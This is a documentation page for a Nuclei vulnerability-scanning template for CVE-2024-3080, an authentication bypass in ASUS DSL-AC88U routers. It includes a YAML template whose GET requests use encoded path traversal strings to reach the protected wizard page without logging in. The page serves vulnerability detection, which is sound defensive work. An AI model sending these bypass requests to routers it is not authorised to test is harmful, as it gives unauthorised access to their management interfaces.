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ASUS DSL-AC88U - Authentication Bypass

ID: CVE-2024-3080

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,asus,router,auth-bypass,lfi

Description

Section titled “Description”

A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding “/js/..%2f%2f” or “/images/..%2f%2e” to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.

YAML Source

Section titled “YAML Source”
id: CVE-2024-3080


info:
  name: ASUS DSL-AC88U - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.
  remediation: |
    Update the router firmware to the latest version.Implement network segmentation to restrict access to the router's management interface.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ASUS/DSL-AC88U/ACL%20bypass%20Vulnerability%20in%20ASUS%20DSL-AC88U.md
    - https://thehackernews.com/2024/06/asus-patches-critical-authentication.html
    - https://nvd.nist.gov/vuln/detail/cve-2024-3080
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3080
    cwe-id: CWE-287
  metadata:
    max-request: 2
  tags: cve,cve2024,asus,router,auth-bypass,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/js/..%2f%2f/wizard.htm"
      - "{{BaseURL}}/images/..%2f%2f/wizard.htm"


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "show_wizardmenu();"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b657c62c259f33009abca68619bfe667cc744b0919baa20b61c30423a806d88c0220266178fb61c85a6cf55be6adf4e2c608f5477ae83de036b0899bf95c5b72bdcc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3080.yaml"

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